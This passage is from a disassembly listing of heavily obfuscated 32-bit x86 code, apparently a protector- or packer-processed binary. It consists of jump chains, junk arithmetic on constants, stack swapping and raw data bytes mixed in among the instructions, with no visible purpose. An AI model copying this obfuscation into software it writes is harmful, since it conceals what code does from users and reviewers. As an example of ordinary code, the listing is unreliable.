edx add eax, ebx pop ebx sub ebp, eax mov eax, [esp+84h+var_84] add esp, 4 sub esp, 4 jmp loc_55E08B ; --------------------------------------------------------------------------- dw 2C87h dd 24248B24h, 52240C89h, 0E9C38853h, 0FFFFB8C2h ; --------------------------------------------------------------------------- loc_56572C: ; CODE XREF: sub_542C3C+21CD7j mov ecx, esi jmp loc_55A38F ; --------------------------------------------------------------------------- db 0BAh dd 4B871A62h, 0DAE9D321h, 29FFFF0Bh, 50F8E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565746: ; CODE XREF: sub_542C3C+16925j mov ebx, 447C3BB4h jmp loc_565D50 ; --------------------------------------------------------------------------- loc_565750: ; CODE XREF: sub_542C3C+1E4C5j xchg eax, [esp+6Ch+var_6C] not eax jmp loc_555641 ; --------------------------------------------------------------------------- loc_56575A: ; CODE XREF: sub_542C3C+20B3Dj add edx, ebx pop ebx add ebx, 38B522ABh sub ebx, edx jmp loc_55C951 ; --------------------------------------------------------------------------- dw 31BDh dd 563816BEh, 0EF48F9BEh, 8FE0E945h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56577A: ; CODE XREF: sub_542C3C+247F1j push eax jmp loc_558A29 ; --------------------------------------------------------------------------- dd 0E9240431h, 0FFFF4803h, 2C8BEF89h, 0E6895624h, 1039BA52h dd 0C2811A16h, 13D2295Ah, 1C3EEA81h, 0E94A78EBh, 0FFFEEC01h dd 8B2434FFh, 8951240Ch, 4C181E1h, 0E9000000h, 0FFFF100Ch dd 0C55F35BBh, 86C3813Fh, 0F746E80Ch, 8326E9DBh, 44BAFFFFh dd 0E944CF29h, 0D9Ch, 8124348Bh, 4C4h, 50E56800h, 2C890000h dd 0C68FBD24h, 0E8316CDAh, 50242C8Bh, 7368E089h, 89000065h dd 34BA2414h, 5030DD2Fh, 0FF06C2E9h db 0FFh ; --------------------------------------------------------------------------- loc_565809: ; CODE XREF: sub_542C3C+2540Bj shl esi, 1 or esi, 1E0A4265h push edi push edx mov edx, 1980579Fh mov edi, 0E67FA860h add edi, edx pop edx add esi, edi pop edi xor esi, 0EC401E55h mov ebp, esi pop esi sub [esp+6Ch+var_68], 5E65780Eh add [esp+6Ch+var_68], ebp add [esp+6Ch+var_68], 5E65780Eh push [esp+6Ch+var_6C] pop ebp add esp, 4 pop eax sub esp, 4 mov [esp+68h+var_68], edi push eax mov eax, 7841DFFh xor eax, 59F643BDh mov edi, eax pop eax sub edi, 1 jmp loc_55E921 ; --------------------------------------------------------------------------- db 50h, 0E9h, 3Bh dd 5FFFFEE8h, 0FFA7B8E9h, 9EBB53FFh, 11F0532h, 43685BD8h dd 8900003Ch, 0DAE9242Ch db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56588F: ; CODE XREF: sub_542C3C+1DA7Cj sub ebx, 0D81E5EC3h mov edx, ebx jmp loc_555987 ; --------------------------------------------------------------------------- dd 0F57DE956h, 1C8BFFFFh, 0FBE95724h db 36h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5658AB: ; CODE XREF: sub_542C3C+1DDA3j pop eax pop dword ptr [edi+24h] jmp loc_5635CC ; --------------------------------------------------------------------------- dd 24048F5Ah, 4C2815Ch, 0E9000000h, 0FFFF797Eh, 8B24048Fh dd 0B9512424h, 4, 421FC781h, 0CF014B88h, 421FEF81h, 81594B88h dd 4C7h, 243C8700h, 5224248Bh, 58BEBD55h, 0EA89128Fh, 2454015Dh dd 4815A04h, 0CA304B24h, 0EB4AE91Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565906: ; CODE XREF: sub_542C3C+23187j add eax, ecx sub eax, 19CE2BF6h mov ecx, [esp+58h+var_58] add esp, 4 add eax, 4 xchg eax, [esp+54h+var_54] pop esp jmp loc_55354C ; --------------------------------------------------------------------------- loc_565921: ; CODE XREF: sub_542C3C+17C34j mov eax, 4 add edx, eax jmp loc_56538F ; --------------------------------------------------------------------------- loc_56592D: ; CODE XREF: sub_542C3C+20B5Aj add esp, 4 push ebp mov ebp, 41D372FEh not ebp shr ebp, 1 shr ebp, 8 sub ebp, 5F1644h sub ebx, ebp pop ebp xor ebx, [esp+68h+var_68] xor [esp+68h+var_68], ebx xor ebx, [esp+68h+var_68] mov esp, [esp+68h+var_68] jmp loc_55E360 ; --------------------------------------------------------------------------- dw 0BB53h dd 200F2A01h, 5ECF381h, 0C38127C1h, 171BF46Bh, 18750705h dd 0D4BD5543h, 0E9375D67h, 0FFFF86EFh, 12F38158h, 5115FD69h dd 0FF2C03E9h db 0FFh ; --------------------------------------------------------------------------- loc_565989: ; CODE XREF: sub_542C3C+19010j add esp, 4 push 5D35h mov [esp+78h+var_78], edi jmp loc_55FC29 ; --------------------------------------------------------------------------- loc_56599C: ; CODE XREF: sub_542C3C+11F3Ej mov ebp, esp add ebp, 4 push edi push esi push 58AB2FF8h pop esi sub esi, 686B2D45h jmp loc_567FC4 ; --------------------------------------------------------------------------- loc_5659B7: ; CODE XREF: sub_542C3C+17988j shr ecx, 0Bh jmp loc_555F42 ; --------------------------------------------------------------------------- db 0F7h dd 0ECE581D5h, 0C16FF149h, 0C58106EDh, 30E275CDh, 8B5DEF29h dd 0C4832434h, 4EC8104h, 89000000h, 74FF243Ch, 52E90424h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5659EB: ; CODE XREF: sub_542C3C+1EFB6j mov edx, [esp+88h+var_88] jmp loc_55C9DC ; --------------------------------------------------------------------------- db 68h dd 28D2h, 56240C89h, 4BEh, 5EF18900h, 50BCBD55h, 454536E6h dd 0FFE42FE9h db 0FFh ; --------------------------------------------------------------------------- loc_565A11: ; CODE XREF: sub_542C3C+1334Ej add ebx, 4 push edx mov edx, 4 add ebx, edx jmp loc_564535 ; --------------------------------------------------------------------------- dd 8324348Bh, 1C8B04C4h, 4C48124h, 0E9000000h, 0FFFF7706h dd 0E904EC83h, 0FFFFA55Eh, 24048B66h, 0C8B5451h, 0EE3BE924h dd 1C8BFFFEh, 4C48324h, 0FFB9E7E9h, 241489FFh, 0E2C07EB2h dd 5C3BE905h, 0F029FFFFh, 94207A2Dh, 24348B7Fh, 0E9E38953h dd 2596h, 791F68h, 24148900h, 287CBD55h, 0EA890CC8h, 2373E95Dh dd 5E54FFFFh, 4BA52h, 31E90000h, 81FFFFDAh, 4C5h, 2BB5300h dd 1000000h, 0C4C3E9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565AAE: ; CODE XREF: sub_542C3C+1C648j push ebp pop ebx pop ebp jmp loc_55CFB6 ; --------------------------------------------------------------------------- dw 4D4Dh dd 8103EDC1h, 0F30BEFF5h, 5DEA2970h, 0E9240C8Bh, 20D1h ; --------------------------------------------------------------------------- loc_565ACC: ; CODE XREF: sub_542C3C+18F00j pop esp jmp loc_555220 ; --------------------------------------------------------------------------- dw 0EE81h dd 306711FAh, 0E9243C8Bh, 0FFFF93B8h ; --------------------------------------------------------------------------- loc_565AE0: ; CODE XREF: sub_542C3C+1D6FFj pop esp shr ecx, 7 jmp loc_5587BB ; --------------------------------------------------------------------------- db 29h, 0F9h, 81h dd 0FA0222E9h, 283AE922h, 489FFFFh, 0F9895124h, 6859C889h dd 322Ah, 89243489h, 815651C6h, 3AD2242Ch, 8159537Ah, 7A3AD2C1h dd 0DDF2E953h, 4B9FFFEh, 1000000h, 0BA5259CBh, 4, 0E95AD301h dd 0FFFFEBBEh ; --------------------------------------------------------------------------- loc_565B34: ; CODE XREF: sub_542C3C+21F06j push edx mov edx, 908648Eh mov ecx, 8574AE21h jmp loc_55DAFD ; --------------------------------------------------------------------------- dd 2E9C149h, 0FFEA07E9h db 0FFh ; --------------------------------------------------------------------------- loc_565B4D: ; CODE XREF: sub_542C3C+1E488j xor edx, eax jmp loc_55354C ; --------------------------------------------------------------------------- dd 71F1B951h, 0CD893E68h, 899E959h, 0D1010000h, 74E9525Ah dd 83FFFF8Fh, 48904ECh, 9DD9E924h, 1C8BFFFFh, 4C48124h dd 0E9000000h, 6Ah, 0F16FF581h, 0EE298958h, 0CEC7815Dh dd 0E9317935h, 0FFFFDBB4h, 8002EDC0h, 0C5FEAEF5h, 0CB45066h dd 0A5E9E508h db 4Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565BAB: ; CODE XREF: sub_542C3C+1DEB1j mov edx, 43CC1143h jmp loc_5574C7 ; --------------------------------------------------------------------------- db 81h, 0EAh, 6Ah dd 1072F7Bh, 6AC281C2h, 8B072F7Bh, 0F9E92404h, 81FFFF07h dd 6B0458C3h, 51BE561Dh, 8153A36Fh, 63DA3F6h, 5EF3092Ah dd 0C024C381h, 0D931DE95h, 0B885E95Bh, 0F388FFFFh, 0E952585Ah dd 0FFFF76ADh, 5624148Bh, 0FF2812E9h, 88535BFFh, 5BFA88C7h dd 240C8B58h, 3BDE9h db 0 ; --------------------------------------------------------------------------- loc_565C11: ; CODE XREF: sub_542C3C+21D9Cj inc ecx push ebp mov ebp, 596C7596h neg ebp not ebp add ebp, 0A8FC8401h sub ecx, ebp pop ebp sub edx, 2B0D7FE6h add edx, 0D444DEBh sub edx, ecx jmp loc_557060 ; --------------------------------------------------------------------------- dd 59E95359h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565C3F: ; CODE XREF: sub_542C3C+13127j neg eax shr eax, 5 and eax, 8B81308h inc eax or eax, 0DC0515Ch sub eax, 0EE8F22B8h add esi, eax pop eax jmp loc_55D4BB ; --------------------------------------------------------------------------- dd 8124048Bh, 4C4h, 242C8700h, 1C89665Ch, 14316624h, 14336624h dd 14316624h, 0D2F76624h, 0FEF6D1E9h db 0FFh ; --------------------------------------------------------------------------- loc_565C81: ; CODE XREF: sub_542C3C+15D99j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+8Ch+var_8C] jmp loc_553A7B ; --------------------------------------------------------------------------- dd 29DE95Bh, 0B3B80000h, 543FE38h, 22261F8Eh, 919C2D48h dd 23E96ECEh db 0EEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565CAF: ; CODE XREF: sub_542C3C+22503j xor edx, 36C75524h sub edx, 70D06D7Dh push esi jmp loc_55FE4C ; --------------------------------------------------------------------------- db 83h, 0E8h, 4 dd 2474FF50h, 2434FF04h, 8124048Bh, 4C4h, 91EFE900h, 8853FFFFh dd 5BFE88EFh, 0EED05859h, 0FEE773E9h, 0C8966FFh, 0D85AE924h dd 348BFFFEh, 4C48324h, 2904C483h, 0B8505BD8h, 217B22EFh dd 553A2548h, 0E4E95F5Dh, 89000019h, 0E389241Ch, 4C381h dd 0C3830000h, 74FF5304h, 8F5B0424h, 248B2404h, 0E813E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565D2E: ; CODE XREF: sub_542C3C:loc_553FD7j shr edx, 1 cmp eax, edx jz loc_55C18E push 10E6h mov [esp+74h+var_74], eax push 74E4243Ah mov eax, [esp+78h+var_78] push edi mov edi, esp jmp loc_55C3B8 ; --------------------------------------------------------------------------- loc_565D50: ; CODE XREF: sub_542C3C+22B0Fj mov edx, 447C3BB5h xor edx, ebx pop ebx add eax, 269628BDh sub eax, edx sub eax, 269628BDh jmp loc_564BEC ; --------------------------------------------------------------------------- db 89h, 0E1h, 0E9h dd 0FFFFA5D0h, 3A68D831h, 89000019h, 0C0E9240Ch, 50FFFF4Bh dd 405E089h, 83000000h, 48704C0h, 0C7815C24h, 4, 81E68956h dd 4C6h, 4BB5300h, 0E9000000h, 0FD1h ; --------------------------------------------------------------------------- loc_565DA8: ; CODE XREF: sub_542C3C+1DAFCj mov [esp+94h+var_94], ecx mov ecx, 8800C711h sub edx, 5F6A6A95h jmp loc_55973A ; --------------------------------------------------------------------------- loc_565DBB: ; CODE XREF: sub_542C3C+16F34j xor ecx, edx pop edx add eax, 19CE2BF6h jmp loc_565906 ; --------------------------------------------------------------------------- loc_565DC8: ; CODE XREF: sub_542C3C+11707j xchg ebp, [esp+8Ch+var_8C] jmp loc_555900 ; --------------------------------------------------------------------------- dd 5FFE3166h, 0A4F68166h, 0F38966C6h, 8324348Bh, 57E904C4h dd 8FFFFF50h, 57E92404h db 6Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565DEF: ; CODE XREF: sub_542C3C+1E200j xchg esi, [esp+58h+var_58] mov esp, [esp+58h+var_58] pop eax xor eax, ebp push [esp+54h+var_54] mov ebp, [esp+58h+var_58] add esp, 4 add esp, 4 push edi mov edi, 3D6718F0h jmp loc_567AF4 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0DFh dd 12D4400h, 0DFEA81EAh, 5D2D4400h, 2D5AD001h, 7D0092Ch dd 2C05C801h, 0E907D009h, 0FFFF1B50h, 6524E951h, 3489FFFFh dd 2BE24h, 0C2810000h, 44B75A0Ah, 0FF791EE9h, 0E9F329FFh dd 0FFFEE15Ch, 0E904EC83h, 0FFFF806Fh ; --------------------------------------------------------------------------- loc_565E60: ; CODE XREF: sub_542C3C+1B322j neg al push ecx mov cl, 0E1h or cl, 63h and cl, 0E7h jmp loc_55C505 ; --------------------------------------------------------------------------- dd 2116F9BDh, 1ED835Fh, 0FF5114E9h, 4BF57FFh, 1000000h dd 243C8BFBh, 0FEF108E9h db 0FFh ; --------------------------------------------------------------------------- loc_565E8D: ; CODE XREF: sub_542C3C+17D7Bj push ebx mov ebx, 0F2B5809h and ebx, 14CB54FDh add ebx, 1C7462F5h xor edi, ebx pop ebx jmp loc_5686C7 ; --------------------------------------------------------------------------- db 0BFh dd 5AC50B5Ah, 438EF81h, 0FD0143BFh, 0C6ED815Fh, 176AF48h dd 0A1D3E9E9h, 0CA29FFFFh, 83240C8Bh, 148704C4h, 49A9E924h dd 805BFFFFh, 0C580D0C6h, 80F52850h, 285A50EDh, 2434FFEBh dd 4C48159h, 80000000h, 0C30066EBh, 8066C380h, 0B60F18C3h dd 87048DC0h, 1B0868h, 0F206E900h, 6650FFFFh, 88F8B151h dd 0FE5966C8h, 21CEE9C8h, 0AC680000h, 89000049h, 0BD552404h dd 4ED835ACh, 5E5C14Dh, 0FFF350E9h, 51E2D0FFh, 2DE94EB5h dd 81FFFFDFh, 0EB3AA4CEh, 0B9515541h, 66DD715Ch, 3D08C981h dd 0E1C15CA3h, 0C8E18103h, 0E9674B76h, 1012h, 4C281h, 0C2830000h dd 24148704h, 4EC835Ch, 0FFC017E9h, 68525FFFh, 0DB1CC796h dd 0FF2C4EE9h, 6FE954FFh, 8F000013h, 0D35C2404h, 0E99C240Ch dd 0FFFED5C0h, 240C8966h, 53436850h, 1C890000h, 0B478B324h dd 8BDC0065h, 58E9241Ch, 83FFFED7h, 48F04C4h, 8B665C24h dd 8950240Ch, 380FE9E0h, 34FFFFFFh, 243C8B24h, 4EC81h dd 1C890000h, 8CA3E924h, 0C481FFFFh, 4, 0EC81D2F6h, 4 dd 0B4240489h, 5E4C0B4h, 80B8F480h, 0E2304CC4h, 0C0E2D058h dd 0D2F605EAh, 0EBC4E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565FFA: ; CODE XREF: sub_542C3C+1C461j add esp, 4 and eax, ebp push [esp+74h+var_74] pop ebp add esp, 4 or edx, eax shl edx, 1 push 4FE4h mov [esp+74h+var_74], esi push ebp jmp loc_559407 ; --------------------------------------------------------------------------- dd 4CBD555Ah, 81315105h, 0B643B7C5h, 0CED8166h, 0E970191Bh dd 0FFFF6A25h, 15E95E5Ah, 81FFFED5h, 4ECh, 0FF37E900h dd 0BA52FFFFh, 2, 5BB2EB81h, 0D3014803h, 0FFEFFCE9h db 0FFh ; --------------------------------------------------------------------------- loc_566055: ; CODE XREF: sub_542C3C+16BB5j shr ecx, 3 shr ecx, 6 or ecx, 0F8069A3h inc ecx add ecx, 0F01D940Ch jmp loc_555193 ; --------------------------------------------------------------------------- loc_56606D: ; CODE XREF: sub_542C3C+1AB58j add [esp+5Ch+var_5C], 4 jmp loc_55DCFB ; --------------------------------------------------------------------------- loc_566079: ; CODE XREF: sub_542C3C+1B0A7j push ebp jmp loc_558EA8 ; --------------------------------------------------------------------------- db 57h dd 0A77779BFh, 5FFB31ECh, 0FF2678E9h db 0FFh ; --------------------------------------------------------------------------- loc_56608D: ; CODE XREF: sub_542C3C+1CF97j mov ebx, ebp pop ebp add ebx, 3CA2514Bh jmp loc_563773 ; --------------------------------------------------------------------------- db 8Bh dd 0C481242Ch, 4, 5837F181h, 0EC836DA6h, 0E5D4E904h, 0F988FFFFh dd 0E414E95Bh, 5759FFFFh, 0FF9DA5E9h, 6DD068FFh, 14890000h dd 7967E924h, 481FFFFh, 424h, 24148B00h, 81E28952h, 4C2h dd 4C28300h, 2474FF52h, 0F7C6E904h, 2C89FFFFh, 0CFE95224h dd 50FFFF46h, 816665B8h, 58C7315Eh, 7674B951h, 0C8292169h dd 0FF984CE9h, 0B24BFFFh, 0C78174EFh, 5BDE255Eh, 0C781D7F7h dd 5B8A3371h, 6A80F781h, 3E96445h, 89FFFF5Dh, 81BD55E0h dd 81746857h, 5C4167F5h, 0F7D5F73Fh, 1C583D5h, 16E3ED81h dd 0E8014B34h, 81242C8Bh, 4C4h, 2B95100h, 5000000h, 2F1A6A2Bh dd 0FEF72CE9h, 3CD366FFh, 0E1E99C24h, 0ADFFFED3h, 207F83h dd 0FF5107E9h db 0FFh ; --------------------------------------------------------------------------- loc_566175: ; CODE XREF: sub_542C3C+1E16Dj push esi mov esi, 1DE92686h jmp loc_55B185 ; --------------------------------------------------------------------------- loc_566180: ; CODE XREF: sub_542C3C+23F07j and ecx, 759E2582h jmp loc_5641B8 ; --------------------------------------------------------------------------- loc_56618B: ; CODE XREF: sub_542C3C+180F7j sub ah, 0F5h jmp loc_5635F0 ; --------------------------------------------------------------------------- db 81h dd 0E3F688EEh, 0F61AE911h, 0D501FFFEh, 0FFD2BCE9h db 0FFh ; --------------------------------------------------------------------------- loc_5661A5: ; CODE XREF: sub_542C3C+2126Ej sub ecx, ebx pop ebx push edx jmp loc_5636A0 ; --------------------------------------------------------------------------- dw 0E5C1h dd 0D782E907h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5661B6: ; CODE XREF: sub_542C3C+14F72j mov esi, 5F9115A2h shr esi, 5 not esi or esi, 52BE70E5h not esi jmp loc_55DE9D ; --------------------------------------------------------------------------- db 80h, 0E9h, 78h dd 0E1C0D1F6h, 0F1C3E903h, 0EA81FFFFh, 3198777Fh, 92E9C201h dd 81000021h, 912160EAh, 81F22946h, 912160C2h, 0D6295E46h dd 8CBF575Ah, 8705A135h, 87D1F7CFh, 87F781CFh, 0E9D9E793h dd 0FFFF2AB5h, 80C4B151h, 0CE917E9h, 1FFFEDBh, 242C8BEAh dd 0FEEA1BE9h, 5AC868FFh, 2AE90000h, 8AFFFF70h, 0C483240Ch dd 80D1F604h, 0C180FFE9h, 0F86866FFh, 14896652h, 3040B624h dd 148B66F1h, 0E3895324h, 4C381h, 0C3810000h, 2, 0FF7516E9h dd 23F781FFh, 153E620h, 0ED815FFDh, 4030543Dh, 1B2ED81h dd 3358766Eh, 2C31242Ch, 242C3324h, 6824248Bh, 302Ch, 0FFC422E9h db 0FFh ; --------------------------------------------------------------------------- loc_56628D: ; CODE XREF: sub_542C3C+1A8E6j add esp, 4 and ecx, ebx push [esp+5Ch+var_5C] pop ebx sub esp, 4 mov [esp+60h+var_60], eax jmp loc_564EAB ; --------------------------------------------------------------------------- dd 54242C89h, 83242C8Bh, 16E904C4h, 66FFFF1Dh, 8124048Bh dd 4ECh, 241C8900h, 0F1ADE953h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5662C6: ; CODE XREF: sub_542C3C+14879j xchg esi, [esp+88h+var_88] pop esp mov [esp+84h+var_84], ebp mov ebp, 3F2E640Fh xor ebp, 4D273D51h jmp loc_566BD3 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 87000000h, 0E95C241Ch, 0FFFF0BFEh, 3830BA52h, 0CA8165DDh dd 3D8712Dh, 0FF0341E9h, 89E953FFh db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566303: ; CODE XREF: sub_542C3C+1ADE6j pop edi push ebp mov ebp, 0 sub ebp, edi jmp loc_561416 ; --------------------------------------------------------------------------- db 5Ah, 5, 60h dd 29469163h, 63602DC8h, 24E94691h, 8BFFFF95h, 89562414h dd 4C681E6h, 0E9000000h, 11A1h, 0FED213E9h, 266866FFh dd 1C89667Dh, 97B1E924h, 0D366FFFFh, 0E99C2424h, 0FFFED1FCh dd 0BA241489h, 4, 0FFF051E9h, 0E9028FFFh, 0FFFED1E8h, 0E580CDFEh dd 0BFC580A6h, 2CC580h, 4D00E9E8h, 0E589FFFFh, 0FF6A7BE9h db 0FFh ; --------------------------------------------------------------------------- loc_56637D: ; CODE XREF: sub_542C3C+1F40Bj xor edi, esi xor esi, edi jmp loc_5623AA ; --------------------------------------------------------------------------- dw 0F780h dd 5BFD284Eh, 0FE02E5C0h, 85F5E9C5h, 0C380FFFFh, 3B13E902h dd 4BDFFFFh, 0E9000000h, 0FFFFB907h, 0E9028F66h, 1658h dd 83240C8Bh, 0EC8304C4h, 242C8904h, 7F15CFBDh, 45D5F73Ah dd 15D3C581h, 0EA013A7Fh, 0FF30ECE9h db 0FFh ; --------------------------------------------------------------------------- loc_5663D1: ; CODE XREF: sub_542C3C+1953Cj sub ebp, 464C01C4h sub ebp, eax add ebp, 464C01C4h sub ebp, 226D4849h jmp loc_561451 ; --------------------------------------------------------------------------- dw 0E980h dd 59CC00D6h, 0B9F480h, 5BE958E3h, 31FFFF14h, 0F5D2E9EBh dd 5C01FFFEh, 44810424h, 2D0B0424h, 0FDE91E5Ah, 66FFFFEEh dd 0E9240C8Bh, 0FFFFF0EDh, 0F67BB753h, 13CF80D7h, 0FFA90FE9h dd 4BDFFh, 0EF010000h, 0FFD207E9h, 5AD101FFh, 1168E901h dd 89000019h, 7DBE2434h, 4628234Ch, 0F706EEC1h, 69E953D6h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566453: ; CODE XREF: sub_542C3C+10C2Bj push 1AB0h mov [esp+50h+var_50], ebp push ecx jmp loc_565451 ; --------------------------------------------------------------------------- db 81h, 0E9h, 0AEh dd 0E90B9B20h, 0FFFED1ABh, 2749ADB8h, 5A78E97Bh, 0DDF7FFFFh dd 0B8C4C581h, 4E97BB7h, 81FFFF7Bh, 2373F8F5h, 0CFED8101h dd 81285353h, 0E0C8C4C5h, 228DE904h, 0D8280000h, 0E96BB353h dd 133Ah ; --------------------------------------------------------------------------- loc_5664A4: ; CODE XREF: sub_542C3C+21E3Aj pop eax xchg edi, [esp+48h+var_48] pop esp mov [esp+44h+var_44], ecx push 244F3552h pop ecx add [esp+44h+var_40], ecx jmp loc_566B58 ; --------------------------------------------------------------------------- loc_5664BB: ; CODE XREF: sub_542C3C+1F043j pop [esp+48h+var_48] jmp loc_55F45A ; --------------------------------------------------------------------------- db 56h dd 4BD55h, 0EE890000h, 8BF2015Dh, 0C4832434h, 0C1E95204h db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5664DB: ; CODE XREF: sub_542C3C+20073j push small 312Ah mov word ptr [esp+92h+var_94+2], dx push ax pushf jmp loc_55354C ; --------------------------------------------------------------------------- db 66h dd 6607E3C1h, 42BF6657h, 0AFFE93Ch, 34FFFFFFh db 24h, 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 4 sub ebp, 61E50D9Eh add ebp, edi add ebp, 61E50D9Eh pop edi push 7E72h mov [esp+0A0h+var_A2+2], ebx push 2185h mov [esp+0A4h+var_A6+2], ecx push 292E11A0h push [esp+0A8h+var_AA+2] jmp loc_562CA6 ; --------------------------------------------------------------------------- db 8Fh dd 0F7E92404h, 56FFFFB3h, 2E646CBEh, 68F6817Fh, 0E97F2E64h dd 0FFFF3B59h, 377F49B9h, 0FFE18126h, 0F7025A55h, 39C181D9h dd 3174E07Dh, 2434FFCFh, 4C48359h, 0BD554Fh, 0E9000000h dd 0FFFEDEB9h, 0F281424Ah, 4B6733B7h, 11E9EA81h, 0C5E995A5h dd 1FFFF86h, 1207E9EFh, 8B540000h, 0C483240Ch, 0BB79E904h dd 8147FFFFh, 9324AECFh, 39B9511Ch, 8112E77Ch, 0E46341E9h dd 0A4C9815Fh, 0C13F693Dh, 0E98105E1h, 77EA0F30h, 0E981D1F7h dd 97D869Ah, 159CF01h, 2FA4E9FEh, 0EC81FFFFh, 4, 0B8240489h dd 50FF000Ch, 6B05D0F7h, 5113451Ch, 461C5AB9h, 5221E9C2h dd 0DA89FFFFh, 57C7815Bh, 11D6347h, 4EC83D7h, 68241C89h dd 18BDh, 0BD242C89h, 68004F64h, 6266E581h, 0D5F77401h dd 0FFE784E9h, 7A41BFFFh, 0F9293340h, 83243C8Bh, 575504C4h dd 14452FBFh, 8BFD894Dh, 0C483243Ch, 0EDD14D04h, 0BBA0E951h dd 8B66FFFFh, 0FB682404h, 89000028h, 0E0892404h, 0FF21E3E9h dd 7E5C1FFh, 7D15F581h, 0ED816AA0h, 48C25DF8h, 724CCD81h dd 0ED814ED1h, 1C9B218Ch, 8B5DEA29h, 0C481243Ch, 4, 0FEFA56E9h db 0FFh ; --------------------------------------------------------------------------- loc_56667D: ; CODE XREF: sub_542C3C+1B1D3j inc ebp sub ebp, 11B65221h and ebp, 6ABE6068h dec ebp sub ebp, 0DB043B46h mov esi, ebp jmp loc_56377E ; --------------------------------------------------------------------------- dd 4B9h, 59CA0100h, 4C281h, 14870000h, 34E95C24h db 1Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5666AF: ; CODE XREF: sub_542C3C+19475j push esi mov esi, 0F485C1Ch dec esi sub esi, 0DDE13B5Bh push ebx mov ebx, 21EE61A8h not ebx jmp loc_558B1F ; --------------------------------------------------------------------------- aY7@iehfv db 'Y-7@¨ehFv',0 align 4 dd 0BF243C89h, 0E26095Ch, 3C8BF801h, 4C48324h, 2D3868h dd 243C8900h, 5935BD55h, 0DDF71686h, 0FFD828E9h, 240481FFh dd 121E4F87h, 0FF2590E9h, 243489FFh, 0F589FE89h, 8454E95Eh dd 8B66FFFFh, 5E682404h, 89000075h, 0AA682414h, 8900001Ah dd 95E92424h db 3Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56672B: ; CODE XREF: sub_542C3C+1BCD0j add esp, 4 push [esp+78h+var_78] pop ebp add esp, 4 push ebx mov ebx, 2B890FFEh add ebp, ebx push [esp+78h+var_78] pop ebx jmp loc_55D1B1 ; --------------------------------------------------------------------------- db 68h, 0D6h, 5Fh dd 31E90000h, 0BDFFFFCFh, 235025DCh, 0E95DE801h, 0FFFF5891h dd 4C5815Dh, 56000000h, 1582E9h db 0 ; --------------------------------------------------------------------------- loc_56676D: ; CODE XREF: sub_542C3C+20A38j add ebx, edi mov ecx, [ebx] pop ebx jmp loc_559BE5 ; --------------------------------------------------------------------------- db 83h dd 48704C0h, 48F5C24h, 0AC04E924h, 79B8FFFFh, 89617317h dd 0CA0158C1h, 83240C8Bh, 0C28104C4h, 0CC32A3Fh, 0FF0676E9h dd 0D0F748FFh, 0B2C88835h, 0E9C60117h, 0FFFF6F51h, 782F882Dh dd 0E9D00153h, 0FFFEF4D7h ; --------------------------------------------------------------------------- loc_5667BC: ; CODE XREF: sub_542C3C+114E7j push ecx mov ecx, 4 jmp loc_55B0E0 ; --------------------------------------------------------------------------- db 5Bh dd 64E9E828h db 78h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5667CF: ; CODE XREF: sub_542C3C+2217Aj add edx, 0D47AA658h sub esp, 4 mov [esp+0AEh+var_AE], edi mov edi, 504A4CB0h sub edx, edi pop edi add edx, edi push edi push ebp mov ebp, 2E5E5245h mov edi, 7E141EF5h xor edi, ebp jmp loc_55BAEB ; --------------------------------------------------------------------------- loc_5667FB: ; CODE XREF: sub_542C3C+1F8D5j sub esi, edx pop edx jmp loc_55E8CE ; --------------------------------------------------------------------------- db 29h dd 243C8BF9h, 81E28952h, 4C2h, 4C28100h, 87000000h, 0D15C2414h dd 17F181E9h, 81174533h, 0FC5330C3h, 81CB016Dh, 0FC5330EBh dd 2434FF6Dh, 0FFD15AE9h db 0FFh ; --------------------------------------------------------------------------- loc_566839: ; CODE XREF: sub_542C3C+10E32j pop ecx mov ebp, [esp+3Ch+var_3C] push ebx jmp loc_5670B6 ; --------------------------------------------------------------------------- db 0B9h dd 79FD63EFh, 159CA31h, 2C875AD5h, 24248B24h, 24040966h dd 0CCEEE99Ch, 2C89FFFEh, 693BBD24h, 0F3E90019h, 83FFFF1Ch dd 0C12904C4h, 4EC8158h, 89000000h, 0EDE9240Ch, 8B00001Eh dd 0C4812434h, 4, 685FFD01h, 5CA4h, 0FF242C89h, 5D042474h dd 0E924048Fh, 0FFFFDFBAh, 24148966h, 0FF4C9AE9h, 24048FFFh dd 0BD55565Ch, 77426AE0h, 0D6F7F587h, 0E952F587h, 0FFFEE3A8h ; --------------------------------------------------------------------------- loc_5668C0: ; CODE XREF: sub_542C3C+15751j not ebx xor ebx, 0EB86A47Fh add edi, ebx pop ebx push ebp mov ebp, 61022DE5h xor ebp, 61022DE1h add edi, ebp pop ebp xchg edi, [esp+0AAh+var_AA] pop esp push dword ptr [edi+eax*4] push ebx push esi mov esi, 1D066F30h xor esi, 3D264FDBh jmp loc_55B988 ; --------------------------------------------------------------------------- loc_5668F3: ; CODE XREF: sub_542C3C+1A105j add edi, 4 xchg edi, [esp+7Ch+var_7C] pop esp add ebx, 4 xor ebx, [esp+78h+var_78] xor [esp+78h+var_78], ebx xor ebx, [esp+78h+var_78] mov esp, [esp+78h+var_78] push 715Ch mov 